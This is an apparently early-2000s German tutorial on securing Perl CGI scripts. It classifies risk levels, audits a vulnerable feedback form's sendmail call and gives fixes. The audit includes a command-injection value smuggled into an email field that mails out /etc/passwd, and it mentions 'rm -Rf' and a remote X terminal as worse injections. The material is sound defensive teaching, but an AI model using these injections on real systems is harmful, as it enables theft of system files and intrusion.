Webworking

CGI Security / Sichere CGI-Skripten – Eine Einführung

1. Allgemeines

Die Programmierung von CGI-Skripten und -Programmen ist im Prinzip nicht schwerer als die von ganz normalen Programmen, die nicht das Common Gateway Interface benutzen. So ist die Wahl der Programmiersprache in der Regel nicht eingeschränkt (sieht man von den Einschränkungen bzgl. dem Betriebssystem und/oder den Provider ab) und wenn man nur etwas im Internet sucht, findet man zu quasi jeder Sprache Beispiele und Ressourcen.
Lange Zeit war die CGI-Programmierung die Aufgabe von wenigen Webmastern oder Systemadministratoren. Die Provider ließen in der Regel keine Benutzereigenen Skripten auf Ihren Server zu und wenn, dann gegen entsprechenden Aufpreis.

Heutzutage jedoch ist die Situation grundlegend verändert: Ein CGI-Verzeichnis gehört zum Standard von fast jedem kommerziellen Webspace-Angebot und die Zahl der Skript-Archive im Netz nimmt immer weiter zu.
Hiermit verbunden ist die Entwicklung, daß immer mehr Skripten auftauchen, welche zum Teil grobe Sicherheitslöcher haben. Dies nicht nur bei den kostenlosen, sondern auch bei den kommerziellen Skripten. Das Bulletin Board System der Infopop Corp. welches im März 2000 in der Security-Mailingliste BugTraq zu trauriger Berühmtheit gelangte, ist nur ein Beispiel von vielen. Dabei ist das Sicherheitsloch im UBB auch aus anderer Sicht ein interessantes Beispiel: Es zeigt auf, wie leicht viele Leute sich im Netz durch bekannte Namen oder große Dienste einlullen lassen; Selbst wenn der Code als Open Source vorliegt, schauen kaum Leute rein und prüfen diesen. So wurde ein Umfrageskript, welches auf dem bekannten CGI-Archiv The CGI Resource Index lag, über 750 mal von unterschiedlichen Personen im Ranking bewertet, aber nicht einer bemerkte das Sicherheitsloch, welches Hackern Tür und Tor öffnete.

In den meisten Fällen beruhen die Sicherheitslöcher auf folgende Aspekte:

  • Unsaubere Programmierung,
  • Unkenntnis der Sicherheitsprobleme,
  • eine ‚lachse‘ Grundhaltung („Wer sollte schon bei mir einhacken?“),
  • Geldgier von Archiv-Betreibern (Die große Anzahl der Skripten zählt. Alles andere ist unwichtig).

Was benötigt wird, ist eine Sensibilisierung der Webmaster und Sitebetreiber, die solche Skripten einsetzen in Bezug auf Sicherheitsaspekte. Dies erfordert aber auch eine Möglichkeit zur Einteilung der Sicherheitsaspekte, derren Gründe und Folgen.
Auf der folgenden Seite werden wir eine solche Einteilung vornehmen. Danach gehen wir anhand der Programmiersprache Perl ins Detail und zeigen anhand von Beispielen die typischen Fehler und Probleme.

2. Klassifikation von CGI-Programmen

Die folgende Auflistung definiert eine Klassifikation für CGI-Programme. Sie basiert auf die Auswirkungen, die eine möglicherweise vorhandene Sicherheitslücke haben kann und deren Gefährdungspotential.
Die Gefährdung des Webservers durch Prozessorlasten aufgrund von massenhaften Zugriffen werden nicht berücksichtigt, da dies nur indirekt ein Problem für CGI-Programme ist und den Server auch ohne ein solches Programm beeinträchtigt. Ebenso unberücksichtigt sind benutzerbezogene Sicherheitsprobleme, die auf mangelnde Kenntnisse des Systemadministrators oder des Benutzers auf einem Server zurückgehen. (Beispiel: Benutzer, die ihre Skripte global schreibbar machen, bzw. Provider, die dies empfehlen.)

Beschreibung Mögliche Folgen und Beispiele Gefährdungspotential
Sicher
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl „gleichzeitige“ Zugriffe ab, als auch Brute-Force-Attacks.
Dateizugriffe beschränken sich auf festgelegte Dateinamen, die durch das Skript nicht geändert oder generiert werden.
Einzelne Benutzer werden als solche eindeutig identifiziert oder eindeutige Benutzer als Aufrufer werden nicht benötigt.
Keine Folgen. Diese CGI-Programme können als ’sicher‘ eingestuft werden.

Beispiel: Counter, die ‚atomare Zugriffe‘ erlauben, Banner- und Textrotatoren ohne Logfunktionen, …


keine Gefahr
Logische bzw. systematische Gefährdung
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl „gleichzeitige“ Zugriffe ab, als auch Brute-Force-Attacks.
Diese Programme realisieren interaktive Abfragen, die auf einzelne Benutzer als ‚Kunden‘ abzielen, jedoch keine direkte Auswirkung auf allgemein wirksame Ergebnisse haben.
Durch die Begrenztheit der Environment-Variablen bzw. eines ungesicherten Zugangs zum betreffenden Skript (keine Passwort-Abfragen/SSL oder änliches) ist die Identifikation von Benutzern jedoch nicht garantiert. Eingeschlossen sind auch Skripte, die Cookies zur Identifikation heranziehen, da Cookies durch den Benutzer modifiziert oder abgelehnt werden können.
Benutzereingaben können unter Umständen mehrfach oder durch falsche Personen ausgeführt werden.

Beispiele: Gästebücher, die ansonsten sicher sind, Benutzerbasierte Zugriffsstatistiken

Prominentes Beispiel: -eigentlich jedes Gästebuch, auch das von xwolf-

Anmerkung: Man muß hier, wie auch bei der folgenden Stufe beachten, daß das Preis-Leistungs-Verhältnis eine große Rolle spielt. Niemand wird einen wirklich sicheren Server einrichten und die Benutzer zur eindeutigen Identifikation zwingen, nur um ein Gästebuch anzubieten.

Stufe I.
unwesentlich bis ärgerlich
Globale logische Gefährdungen
Es liegen nur definierte Zustände vor; Das Programm fängt sowohl „gleichzeitige“ Zugriffe ab, als auch Brute-Force-Attacks.
Diese Programme realisieren interaktive Abfragen, die auf einzelne Benutzer als ‚Kunden‘ abzielen und global wirksame Ergebnisse liefern.
Durch die Begrenztheit der Environment-Variablen bzw. eines ungesicherten Zugangs zum betreffenden Skript (keine Passwort-Abfragen/SSL oder änliches) ist die Identifikation von Benutzern jedoch nicht garantiert. Eingeschlossen sind auch Skripte, die Cookies zur Identifikation heranziehen, da Cookies durch den Benutzer modifiziert oder abgelehnt werden können.
Benutzereingaben können unter Umständen mehrfach oder durch falsche Personen ausgeführt werden. Globale Ergebnisse können somit von außen beeinflußt werden.

Beispiele: Umfragen / Polls, Seiten- und Linkratings

Prominentes Beispiel: Die Online-Zeitschrift Internet World benutzte ein Skript für aktuelle Umfragen. Die Personen, welche an den Umfragen teilnahmen wurden durch die Environment-Variablen für die Adresse und den User-Agenten für einen fest definierten Zeitraum unterhalb 5 Minuten identifiziert.
Folge: Wer nach 5 Minuten wiederkam, oder die Seite mit einem neuen Browser und/oder von einer anderen Adresse aus, aufrief, konnte nochmal abstimmen.

Anmerkung: Bitte beachten Sie hierzu auch den obigen Hinweis.

Stufe II.
mittel bis bedenklich
Nichtatomare schreibende Dateizugriffe
Das Programm bzw. das Betriebssystem ist nicht in der Lage mehrere Prozesse und Dateizugriffe gleichzeitig zu verwalten ohne das es zu Konflikten kommt.
Inhalte von Dateien können zerstört werden ohne das der Grund eine Hackerattacke sein muß; Stattdessen kann es irgentwann im ‚Normalbetrieb‘ zum Ausfall kommen, sobald nur 2 Benutzer zur selben Zeit das Skript aufrufen.
Je nach Sinn und Zweck des Programmes und der betroffenen Daten kann dies fatale Folgen für den Anbieter haben.

Beispiele: Alle Arten von CGI-Skripten, die ohne Locking auf Dateien schreibend zugreifen

Prominentes Beispiel: Das WWWBoard von Matt Wright benutzt keine Mechanismen zur Vermeidung des gegenseitigen Dateizugriffs.

Anmerkung: Dieser Fehler tritt bei allen Programmen und Betriebssystemen auf, die keine atomare Zugriffskontrolle für Dateien nutzen. (Ca. 90% aller kostenlosen Programme sind betroffen.)

Stufe III.
bedenklich
Ungeprüfte Dateizugriffe durch Benutzer
Das Skript greift über ungeprüfte Benutzereingaben auf vorhandene Dateien zu (Dateinamen sind jedoch fest codiert.). Benutzer haben die Möglichkeit den Inhalt von programmspezifischen Dateien zu ändern, obwohl dies den vordefinierten Strukturen dieser Dateien wiederspricht.
Inhalte von Dateien können zerstört oder unbrauchbar gemacht werden. Die zukünftige Ausführung des Programmes kann somit von außen unterbunden werden.
Je nach Sinn und Zweck des Programmes und der betroffenen Daten kann dies fatale Folgen für den Anbieter haben.

Beispiele: Alle Programme, welche Schreibend auf strukturierte Dateien zugreifen, wobei der neue Inhalt nicht nach seiner Syntax überprüft wird.

Prominentes Beispiel: Das Gästebuch von Matt Wright hat per Default HTML-Tags zugelassen und schreibt in eine HTML-Datei die neuen Einträge jeweils an der Stelle, wo in einer Zeile der String <–begin–> steht.
Dummerweise wird aber nicht verhindert, das ein Benutzer in seinem neuen Eintrag ebenfalls einen oder mehrere dieser Strings einbauen kann…

Anmerkung: Die Gefährdung ist abhängig von der Art des Skriptes.

Stufe IV.
bedenklich bis hoch
„Denial of Service“-Attacken
Das Programm ermöglicht z.B. einen Dateiupload oder eine Benutzereingabe über <textarea>, bzw. <input>, hat dabei aber keine Beschränkung in der Länge des übergebenen Strings. Im Gegensatz zu einer normalen DoS-Attacke, die durch die gleichzeitige Anforderung mehrerer Tausend Einzelabfragen abläuft, kann hier schon ein einziger Auftrag zu Problemen führen.
Ein Beispiel: Das Programm ist dafür gedacht die Eingabe eines Benutzernamens mit Hilfe eines regulären Ausdrucks nach Umlauten zu durchsuchen und diese zu ersetzen. Wird jedoch anstelle eines kurzen Namens ein String mit der Länge von mehreren MB übergeben, dann kann dies zu einem Lag führen.
Durch diese Attacken kann die CPU-Last steigen und der Server auch durch vergleichbar wenige Requests an seine Leistungsgrenze geführt werden.

Beispiele: Diverse Datei-Upload-Skripten

Stufe IV.
bedenklich bis hoch
Ungeprüfte Systemzugriffe durch fremde Benutzer
Das Skript ermöglicht über ungeprüfte Variablen den Zugriff auf Dateien und/oder Systemprogramme.
Dies tritt am häfigsten dann auf, wenn auf Dateien oder andere Programme (wie sendmail) zusammen mit ungeprüften Benutzereingaben aufgerufen oder geöffnet werden.
Beliebige Dateien, auf die der Web-User Zugriff hat, können im Bestfall zerstört oder unbrauchbar gemacht werden.
Im Worst Case erhält ein Hacker Zugriff zum Webserver und darüber auf alle Webseiten und Programme.

Beispiele: sendmail.cgi V2.0, nph-test.cgi, FormMail V1.0, ..

Prominentes Beispiel: Das Ultimate Bulletin Boardsystem hatte bis zur Version 5.43 (März 2000) ein bis dahin öffentlich unbekanntes Sicherheitsloch, bei dem es möglich war, Einfluß auf die Bennennung von Dateien zu nehmen, ohne das dabei Sonderzeichen entfernt wurden.
Durch das geschickte Ausnutzen von Sonderzeichen war es dann möglich Programme auf dem Server aufzurufen und sich somit ggf. Zugang zu diesem zu verschaffen.

Anmerkung: Skripte, welche dieser Fehler aufweisen, sollten sofort gelöscht werden und der Autor verständigt werden.

Stufe V.
hoch

Analyse fremder Programme

Um sicher programmieren zu können, muß man wissen, was unsicher ist und was nicht, und man sollte mindestens halbwegs eine Ahnung haben, wie jemand versuchen könnte, das Skript auszutricksen und für die eigenen Zwecke zu mißbrauchen.
Anstelle jetzt die üblichen Phrasen zu zitieren, wie man programmieren sollte und was zu beachten ist, gehen wir das Problem von der anderen Richtung her an: Wie stelle ich Sicherheitslücken in einem CGI-Programm fest?
Im Folgendem werd ich anhand dieses Ansatzes und von Beispielen beschreiben, wie vorzugehen ist. Ich möchte aber betonen, das dies keine Anleitung zum Hacken sein soll. Vielmehr ist es so, daß niemand sich wirklich Systemadministrator oder Webmaster nennen sollte, der/die nicht diese grundsätzlichen und einfachen Möglichkeiten kennt und entsprechend berücksichtigt.
Gehen Sie immer von dem Grundsatz aus, daß wenn es Lücken im Sicherheitskonzept gibt, diese früher oder später auch gefunden werden. Als SysAdmin haben Sie deswegen nur 2 Möglichkeiten: Entweder Sie beseitigen alle Sicherheitslücken, inklusive derer, die Sie noch garnicht kennen, oder Sie hacken Ihr eigenes Skript bevor es jemand anders tut.

Oberflächlicher Check

Als SysAdmin eines Hosts mit mehreren Benutzern kann man nicht immer wissen, was diese gerade mal wieder programmiert haben und wo sie es ggf. hingetan haben. Wenn einer der Benutzer oder ein Seitenbesucher ein Problem hat, dann wird in der Regel nur die URL als Info gegeben. Bevor man also dran geht und lokal ins Skript reinschaut, kann man schonmal ueber die URL schauen, was los ist.
Angenommen auf der betreffenden Seite findet sich ein Formular mit folgendem HTML-Code:

Durch den Kontext des Formulares erfahren wir außerdem, daß der Autor der Webseite hier eine Feedback-Seite aufgebaut hat und einfach um ein kurzes einzeiliges Kommentar bittet.
Ohne das wir erst versuchen uns das Skript zu besorgen und zu wissen was es macht, sehen wir, das in den Eingabefeldern email und telefon erwartet wird, daß dort zum einen eine gültige E-Mail-Adresse, zum anderen eine gültige Telefonnummer mit den entsprechenden Syntaxi eingegeben wird.
Bei name und kommentar wird lediglich ein String erwartet, der sieht man vom Namen ab, eine beliebige Syntax haben könnte. Da nicht zu erwarten ist, daß jemand bei einem einfachen Feedback-Kommentar Namen und Kommentar nutzt um irgentwelche Operationen auszuführen, ignorieren wir diese Felder erstmal.
Weiterhin ist anzunehmen, daß das Skript richtig funktioniert, wenn es nur Werte bekam, wie sie vom Programmierer erwartet wurden. (Wenn dem nicht so ist, ist das Skript einfach falsch und unsere Aufgabe als SysAdmin besteht darin, daß Programm zu sperren und den Programmierer zurück zur Werkbank zu schicken.)
Nachdem wir das Skript einmal mit richtigen Werten getestet haben, sehen wir, daß das Skript uns eine E-Mail zusendete, worin sich für den Feedback bedankt wurde.
Was haben wir erfahren? -Das das Skript zumindest die von uns eingegebene E-Mail-Adresse benutzte um damit eine Systemoperation zu starten!

Eine gültige E-Mail sieht aus wie eines der folgenden Beispiele:

Eine E-Mail-Adresse kann aus den Zeichen [a-zA-Z0-9\.\\@] aufgebaut sein und muß einen gültigen Servernamen hinter dem @ aufweisen. Mehrere Punkte oder Bindestriche dürfen nicht aufeinander folgen und das @ darf nur einmal vorkommen. (Siehe auch: RFC821)
Das obige Programm wird im schlechtesten Fall die E-Mail-Adresse überhaupt nicht auf ihre Syntax überprüfen. Aber nehmen wir ruhig an, der Programmierer hat folgenden in Perl häufig verwendeten Ausdruck zur Syntaxprüfung eingebaut:

Hier, wie bei den meisten Formmail-Programmen, wird aber nur geprüft, ob in dem als E-Mail-Adresse übergebenen String auch vom Format her eine solche vorhanden ist. Es wird nicht geprüft, ob dort nicht Sachen drin sind, die da nichts zu suchen habe.
Was passiert also wenn wir z.B. folgendes als E-Mail-Adresse angeben:

nospam@fasel.com| mail bla@fasel.com < /etc/passwd

Die obige Syntaxprüfung würde feststellen, daß im String eine gültige E-Mailadresse auftaucht und danach dann die Dankesmail schicken. Nur: Wenn der Programmierer keinen weiteren Schutz eingebaut hat, der Code also folgendermaßen ausschaut

dann passiert folgendes: Das Skript wird zuerst die nette Dankesmail schicken und dann das Systemkommando ausführen, welches wir mitgegeben haben, nämlich uns die Passwort-Datei schicken. Natürlich ist dies noch ein harmloses Beispiel, auch wenn es meiner Meinung nach schon den Straftatbestand der Erschleichung von fremden Daten erfüllt (Paragraph 202a StGB). Weit kritischer wird es, wenn jemand Systemkommandos wie rm -Rf oder /usr/bin/term -display irgentwo:0.0 ausführen kann. In diesem Fall können und sollen die Paragraphen 303a StGB (Datenveränderung) und/oder Paragraph 303b StGB (Computersabotage) greifen.

Glauben Sie nicht, niemand würde über diese oder andere bekannte Sicherheitslücken versuchen auf Ihr System zuzugreifen! Überzeugen Sie sich selbst, indem Sie ein grep zum Beispiel nach dem String /etc/passwd auf Ihre access.log-Datei machen. Hier ein kleiner Auszug, was Sie möglicherweise auch bei sich finden werden:

(Bei dem von mir betreuten Server bewirkt übrigens jeder Versuch dieser Art eine sofortige automatische Mail an den Sicherheitsverantwortlichen. Nebenbei waren obige Versuche das rumspielen von Skript-Kiddies, die nichtmal in der Lage waren, ihre Dialins zu maskieren. Bei einem schlechtgelaunten Sicherheitsverantwortlichen hätten diese Versuche zu einer Anzeige geführt und dies wiederum zu einer Beschlagnahme des PC’s durch die Polizei zur Untersuchung der Festplatte…)

Torture-Skripten

Eine andere, wenn auch etwas brutale, Methode unsichere Parameter herauszubekommen, ist der Einsatz eines Torture-Skriptes. Dabei handelt es sich um ein Skript, das dem zu prüfenden Programm mehrere Hundert Anfragen mit unterschiedlichen zufällig erzeugten Strings übergibt und die Reaktion des Programmes speichert.

In seinem Buch „Web Security“ gibt Lincoln Stein ein Beispiel wie ein Torture-Skript aussehen kann. Im Prinzip ist die Erstellung eines solchen Skriptes für einen guten Perlprogrammierer eine Sache von wenigen Minuten. Und anstelle das man wie bei Stein das Skript mit rein zufälligen Strings traktiert, wäre es auch nicht sonderlich schwer, das Skript so zu modifizieren, daß es ausgewählte Parameter benutzt, die dann nur Zufallsstrings aus einer bestimmten Familie an Zeichenkombinationen ergeben.
So würde man bei obigem Skript angeben, das die Parameter name, email, kommentar, telefonnummer nutzbar sind, wobei der Parameter email vom Typ einer E-Mail ist und telefon vom Typ einer Zahl, zzgl. den Zeichen „+“, „-“ und „/“.
Das Skript würde dann gezielt versuchen, die ihm nun bekannten Daten zu nutzen und die üblichen Sicherheitsprobleme auszuspielen, es würde nicht seine Zeit mit dem Senden von zufääligen Strings vom Typ [a-zA-z0-9] verschwenden bei einem Parameter, wo klar ist, daß dort der Teststring als E-Mail-Adresse getarnt werden muß.

Bisher waren wir nur beim Analysieren ohne das wir wirklich den Programmcode gesehen haben. Wenn wir der SysAdmin sind, sollte es auch keine Probleme machen, wenn wir die obigen Beispiele durchtesten um zu sehen, ob wir wirklich Zugriff zum System erhalten. Sind wir jedoch nicht der SysAdmin des betroffenen Systems sollten wir das Testen entweder ganz unlassen, wurden wir nicht dazu aufgefordert, oder nur so vorgehen, daß der Fehler aufgedeckt wird, ohne das wir einen Schaden anrichten.
Im folgenden Kapitel werden wir versuchen, Informationen über das bisher unbekannte Skript über das Netz zu erhalten.

Informationen aus dem Netz holen

Programmierer sind faule Menschen. Wenn es keinen -für den Programmierer!- guten Grund gibt, wird er/sie in der Regel kein Programm neu schreiben, welches es schon gibt. Scott Adams, der Autor von Dilbert drückt es seiner kurzgefassten Evolutionstheorie so aus:

We’re a planet of nearly six billion ninnies living in a civilization that was designed by a few thousand amazingly smart deviants.

Nicht anders läßt es sich erklären, daß die meisten CGI-Skripten kostenlose Kopien sind, die man aus irgenteinem Archiv heruntergeladen hat.

Wenn man nach Informationen zu einem CGI-Skript sucht, dann gibt es mehrere Möglichkeiten. Zum einen kann man die besagten Archive, wie z.B. The CGI-Resource Archiv durchsuchen. Zum anderen tut es auch eine normale Suchmaschine, jedoch hat dies meist den Nachteil, daß man dort oft nur von Links zu anderen Seiten, die das CGI auch einsetzen, erschlagen wird, jedoch den Download-Link leicht übersieht. Eine andere gute Quelle betreffend Sicherheitsprobleme bzgl. CGI-Skripten sind diverse Security-Listen, wie z.B. BugTraq.
Für das oben angegebene Skript, dessen Namen wir aus dem Wert von <form action=““> erhielten, findet sich dann auch über The CGI-Resource Archiv ein entsprechender Eintrag der zum Autor und zu einem Download des Skriptes führt.
Wenn wir zudem auch noch Informationen über die Unsicherheit des Skripten finden, dann sind wir als SysAdmins aus dem Schneider: Wir brauchen selbst nichts mehr zu machen (außer ggf. die Versionsnummer zu kontrollieren) als das Skript zu löschen und denjenigen der es auf dem Server installierte den Kopf abzureißen…
(Anmerkung: Sollte es Ihr Vorgesetzter oder Ihr Ehepartner gewesen sein, überlegen Sie sich was anderes!)

Finden sich keine Hinweise bzgl. der Sicherheit, sondern nur das Skript, dann sollten Sie es sich ggf. nun laden und dann lokal analysieren, indem Sie sich den Code anschauen. In dem folgenden Kapitel 4 gehen wir darauf genauer ein.

4. Analyse lokaler Programme

Im folgendem beschreiben wir die Bug-Suche in einem bestehenden Programm von dem wir wissen wollen, ob es sicher ist, oder nicht. Ausgegangen wird dabei von einem UNIX-System, da nur unter solchen Systemen ein Mindestmaß an Sicherheit gewährleistet ist und die Mehrzahl aller professionellen Webserver unter dem Apache/Unix-Mix arbeiten.

Oberflächliche Analyse

Bei der ersten, oberflächlichen Analyse schauen wir uns gezielt die Funktionen im Programm an, wo ein Sicherheitsloch auftreten könnte. Diese sind bei Perl:

  • Systemaufrufe mit open, system, eval, exec,
  • Eingebundene Systemaufrufe durch fremde Perlmodule
  • Benutzerspezifische eingebundene Routinen

Angenommen, wir durchsuchen das oben bereits genutzt Feedback-Programm, so kann die Analyse folgendermßen aussehen:


Zuallererst schauen wir uns die erste Zeile des Programmes an:

Wie wir sehen, wird der Interpreter Perl ohne Argumente aufgerufen. Das Programm wird also die Variablen so nehmen wie sie kommen und nicht, wie im Tainted Mode diese als rohe Eier behandeln.
Durchsuchen wir nun nach open(), da dieser Aufruf am häufigsten verwendet wird:


Wir haben 3 Zeilen mit 4 Variablen gefunden. Schauen wir mal, was sich dahinter verbirgt:

Hinter $mail steckt also das sendmail-Programm. Ausserdem sehen wir, daß sendmail hier ohne Parameter, insbesondere ohne den Tainted-Modus -t, aufgerufen wird. Spätestens aus diesem Grund sollten wir nun die Alarmglocken läuten hören!
Schauen wir, was hinter den anderen Variablen steckt. Besonders interessant wird dabei sein, was hinter $in{‚email‘} steckt, da dies als Argument zu $mail benutzt wird.


Wir sehen, daß $send_reply_file eine feste Variable ist, die nicht von außen geändert wird. Wir können diese Variable somit im Folgenden ignorieren.
Jetzt fehlt noch die 4. Variable $in{‚email‘}, welche aus einem Hash genommen wird. Wir schauen also zunächst, was mit dieser Variable passiert:


Die Variable kommt so also nur in dem open()-Aufruf vor. Das heißt, daß sie nirgends selbst verändert wurde, es sei denn der Hash wurde als ganzes geändert. Deswegen suchen wir nun nach dem Hash:

Wir erfahren, daß der Hash %in durch die Subroutine getcgi erstellt wurde. Wir müssen uns also diese Routine genauer unter die Lupe nehmen!

Nach der Suche nach open(), müssten wir nun eigentlich auch nach den anderen Systemaufrufen suchen. Da wir aber in dem Aufruf open(SM, „|$mail $in{‚email‘}“); einen Anfangsverdacht haben, schauen wir uns zuerstmal an, wie der Hash %in gebildet wird.
Sollten wir feststellen, daß in der Subroutine getcgi kein Parsing nach gefährlichen Sonderzeichen geschieht, haben wir eine Sicherheitslücke dingfest gemacht und wir brauchen uns nicht mehr um den Rest zu kümmern, sondern das Programm gleich sperren.

Code-Analyse

Wenn wir das Programm mit einem Editor/Viewer öffnen finden wir folgenden Code für die Subroutine getcgi:

Beim obigen Code handelt es sich um eine Standard-Routine für das Einlesen von Parametern, die über das Netz kommend, dem Programm übergeben werden. Die erste if()-Abfrage dient lediglich dazu, die Parameter in eine Variable $in zu schieben, egal ob als Übertragungsmethode GET oder POST verwendet wurde.
Danach wird diese Variable aufgesplittet und Sonderzeichen, die durch die Übertragung codiert waren, wieder hergestellt. Im Ende der foreach-Schleife wird der jeweilige Parameter in das Hash geschoben.
Was wir in dem Code nicht sehen ist eine Schleife oder ein regulärer Ausdruck, in der etwaige Sonderzeichen gelöscht werden. In anderen Worten: Eine beliebige Hash-Variable, wie z.B. $in{‚email‘} hat genau den Inhalt, welcher im Eingabeformular (oder bei der GET-Methode in der URL-Zeile) eingegeben wurde, inklusive aller Sonderzeichen.
Wie wir also im Kapitel 3. Analyse fremder Programme bereits angetestet haben, erfährt nun seine Bestätigung: Sollte jemand als E-Mail-Adresse einen Ausdruck wie

eingeben, würde dies zum Erfolg führen, die Passwortdatei würde frei Haus und ohne Trinkgeld geliefert werden.

Korrektur

Als SysAdmin ist man leider nicht so häufig in der Rolle eines B.O.f.H., wo man unsichere Programme von Nutzern einfach löschen kann. Viel eher wird es so kommen, daß man den Benutzer erklären muß wie der entsprechende Code zu reparieren sei oder man muß es selbst tun (-vielleicht auch deswegen weil man selbst der Schuldige war).
Oft, wie in diesem Fall auch, sind es nur wenige Zeilen die geändert werden müssen um das Programm sicher zu machen. Wir kommen damit wieder zurück zu den gleichen -hoffentlich bekannten- Hinweisen für die Programmierung sicherer CGI-Skripts:

  • Aufruf von Perl bzw. von Perlvariablen im Tainted Modus Behandeln Sie grundsätzlich jede Variable die in irgenteiner Form von einem Benutzer übers Netz gesteuert ist wie ein rohes Ei, gefüllt mit einer Mischung aus Nitro und Flußwassercola.
  • Halten Sie sich auf den laufenden was Meldungen von Sicherheitsbugs betrifft und bewahren bleiben Sie selbstkritisch: Jeder, inklusive mir selbst, macht mal Fehler, ist mal abgelenkt oder übersieht mal etwas. Ein gesundes Maß an Selbstüberschätzung ist mitunter gut -hier ist es tödlich.
  • Kommentieren Sie ihr Skript so aus, daß jemand anders sich auch darin zurecht findet und erfährt was das Skript an dieser oder jener Stelle macht. Seien Sie jedoch auch nicht zu genau. Programme, bei denen durchweg auf 1 Zeile Programmcode mehr als 3 Zeilen Erklärung kommen, sind ebensoschlimm (für einen Profi sogar schlimmer), wie eines, welches keine Kommentare enthält.
  • Sollten Sie einmal ein Skript aus dem Netz holen wollen, lassen Sie die Finger von Skriptarchiven, wo nur ein Downloadlink ohne weitere Informationen, insbesondere ohne Link zum Autor und/oder Versionnummer, zum Skript vorhanden sind. Solche billigen CGI-Archive, die meistens nur der Werbebannerabzocke dienen, sind einer der Hauptgründe, warum unsichere Skripten noch nach Jahren vorhanden sind und genutzt werden.
  • Aufruf von von sendmail nur im Modus „-t“, da dieser Argumente in der Argumentliste unterdrückt.
  • Soweit möglich, bauen Sie ein CGI-Wrapper ein.
  • Falls Dateinamen übers Netz gegeben werden müssen und diese Dateien dann geöffnet werden sollen, dann nur in unterhalb ausgewählter Verzeichnisse, aber niemals so, daß ein Verzeichniswechsel möglich ist oder die Dateien gar auf das Root-Verzeichnis zugreifen können. Bei einem Dateinamen sollten Sie nur die Zeichen [a-zA-Z0-9\\._] erlauben.
  • Parsen aller Variablen, die an Systemaufrufen beteiligt sind. In dem obrigen Fall von der Variable $in{‚email‘} mit: $in{‚email‘} =~ s/[^a-zA-Z0-9\-\@\.]//g;. Der Nachteil hiervon besteht allerdings, daß man durch diese Methode zwar eine gültige E-Mailsyntax hat, jedoch nicht feststellt, ob wirklich Sonderzeichen in der E-Mailangabe vorhanden waren.

Zum letzten Punkt: Da wir gern wissen wollen, wenn jemand etwas Böses versucht, sollten wir uns ggf. die E-Mailadresse einer neuen Variable zuweisen, aus dieser dann alle Sonderzeichen löschen, die nichts in einer E-Mail zu suchen haben und dann beiden Strings vergleichen.
Folgendes kleines Perl-Beispiel zeigt wie man vorgehen könnte:

Ruft man das Skript nun auf mit perl test.pl „bkla@jkhxf.com|/bla/fasel“ wird in der letzten Zeile der Unterschied gemerkt und darauf hingewiesen, wärend eine korrekte E-Mail-Adresse auch als solche durchgeht.

Bemerkung

Bei dem herangezogenen Skriptbeispiel für das unsichere Feedback-Programm handelt es sich um ein reales Beispiel. Das Skript konnte bei der Erstellung dieses Artikels so wie es hier teilweise angegeben wurde über dessen Homepage und vom CGI-Resource Archiv geladen werden.
Da das Skript laut Download-Rating der Homepage bereits mehrere Hundert Male geladen und möglicherweise eingesetzt wurde, und wird, hab ich mich entschloßen aus naheliegenden Gründen den wahren Namen bis auf weiteres zu maskieren.

5. Referenzen

Bücher und Online-Referenzen

Folgende Links und Buchreferenzen halfen besonders bei der Erstellung dieses Artikels. Bitte beachten Sie, daß ich mich bei den Online-Referenzen auf den Seiteninhalt von April/Mai 2000 beziehe und keinen Einfluß über etwaige Seitenänderungen habe.

Dank

Besonderen Dank für die Mithilfe bei der Erstellung des Artikels geht an die folgenden Personen: